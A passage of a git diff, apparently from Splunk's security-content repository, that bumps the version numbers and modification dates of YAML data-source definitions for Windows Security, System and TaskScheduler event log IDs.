b/data_sources/windows_event_log_security_4947.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4947 id: 63d4a2fa-a7dc-46d2-b702-54794e1f4d3c -version: 3 +version: 4 creation_date: '2025-03-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Windows Event Log Security 4947 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_4948.yml b/data_sources/windows_event_log_security_4948.yml index e5b675dbf3..80840e089a 100644 --- a/data_sources/windows_event_log_security_4948.yml +++ b/data_sources/windows_event_log_security_4948.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4948 id: 910032df-4e49-42fe-a611-d4c29557d83a -version: 3 +version: 4 creation_date: '2025-03-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Windows Event Log Security 4948 source: XmlWinEventLog:Security diff --git a/data_sources/windows_event_log_security_5136.yml b/data_sources/windows_event_log_security_5136.yml index 8e835d7460..1556bef14f 100644 --- a/data_sources/windows_event_log_security_5136.yml +++ b/data_sources/windows_event_log_security_5136.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5136 id: 7ba3737e-231e-455d-824e-cd077749f835 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs modifications made to an Active Directory object, including details about the object name, type, and the changes applied. mitre_components: diff --git a/data_sources/windows_event_log_security_5137.yml b/data_sources/windows_event_log_security_5137.yml index a877c712a7..482ffefffb 100644 --- a/data_sources/windows_event_log_security_5137.yml +++ b/data_sources/windows_event_log_security_5137.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5137 id: 64ed7bb1-9c3c-4355-ac08-b506ec3b053e -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new Active Directory object, including details about the object name, type, and the user performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_5140.yml b/data_sources/windows_event_log_security_5140.yml index 825842e325..d9fea8b0e1 100644 --- a/data_sources/windows_event_log_security_5140.yml +++ b/data_sources/windows_event_log_security_5140.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5140 id: 93e0ca09-e4b8-4da6-872a-d0127c4d2b22 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs access to a network share, including details about the user, share path, and the access type. mitre_components: diff --git a/data_sources/windows_event_log_security_5141.yml b/data_sources/windows_event_log_security_5141.yml index d4cf8d2a5d..166216edb7 100644 --- a/data_sources/windows_event_log_security_5141.yml +++ b/data_sources/windows_event_log_security_5141.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5141 id: eafb35fa-f034-4be3-8508-d9173a73c0a1 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an Active Directory object, including details about the object name, type, and the user performing the action. mitre_components: diff --git a/data_sources/windows_event_log_security_5145.yml b/data_sources/windows_event_log_security_5145.yml index be0c11a34f..19e89bd203 100644 --- a/data_sources/windows_event_log_security_5145.yml +++ b/data_sources/windows_event_log_security_5145.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5145 id: 0746479b-7b82-4d7e-8811-0b35da00f798 -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs detailed information about access to a network share, including the user, share path, accessed file, and access permissions. mitre_components: diff --git a/data_sources/windows_event_log_security_5447.yml b/data_sources/windows_event_log_security_5447.yml index 9fb7ff7831..4ac41fd3ca 100644 --- a/data_sources/windows_event_log_security_5447.yml +++ b/data_sources/windows_event_log_security_5447.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5447 id: b94e3b5d-d00f-4fed-88e9-c8ea87495618 -version: 1 +version: 2 creation_date: '2026-08-23' -modification_date: '2026-08-23' +modification_date: '2026-10-14' author: Nasreddine Bencherchali, Splunk description: Logs Windows Filtering Platform runtime filter changes, including the change type, provider, filter, layer, conditions, and filter action metadata. mitre_components: diff --git a/data_sources/windows_event_log_system_104.yml b/data_sources/windows_event_log_system_104.yml index bad5db4aa9..cb0ea7cdc8 100644 --- a/data_sources/windows_event_log_system_104.yml +++ b/data_sources/windows_event_log_system_104.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 104 id: 577b9b41-6b37-44c4-9016-3d890b909050 -version: 4 +version: 5 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log System 104 source: XmlWinEventLog:System diff --git a/data_sources/windows_event_log_system_7036.yml b/data_sources/windows_event_log_system_7036.yml index b6b48a6f6c..0e49eae967 100644 --- a/data_sources/windows_event_log_system_7036.yml +++ b/data_sources/windows_event_log_system_7036.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 7036 id: a6e9b34f-1507-4fa1-a4ba-684d1b676a34 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs state changes of a Windows service, including details about the service name and its new state (e.g., started or stopped). mitre_components: diff --git a/data_sources/windows_event_log_system_7040.yml b/data_sources/windows_event_log_system_7040.yml index 529f5de1db..88c68c0add 100644 --- a/data_sources/windows_event_log_system_7040.yml +++ b/data_sources/windows_event_log_system_7040.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 7040 id: 91738e9e-d112-41c9-b91b-e5868d8993d9 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to the start type of a Windows service, including details about the service name, old start type, and new start type. mitre_components: diff --git a/data_sources/windows_event_log_system_7045.yml b/data_sources/windows_event_log_system_7045.yml index d9d06f0e1c..8682111863 100644 --- a/data_sources/windows_event_log_system_7045.yml +++ b/data_sources/windows_event_log_system_7045.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 7045 id: 614dedc8-8a14-4393-ba9b-6f093cbcd293 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the successful installation of a new Windows service, including details about the service name, executable path, and service type. mitre_components: diff --git a/data_sources/windows_event_log_taskscheduler_201.yml b/data_sources/windows_event_log_taskscheduler_201.yml index c0d99bd921..650f4ee473 100644 --- a/data_sources/windows_event_log_taskscheduler_201.yml +++ b/data_sources/windows_event_log_taskscheduler_201.yml @@ -1,8 +1,8 @@ name: Windows Event Log TaskScheduler 201 id: 4c09ae64-01cd-4b65-8221-20f803b0d86e -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log TaskScheduler 201 source: XmlWinEventLog:Security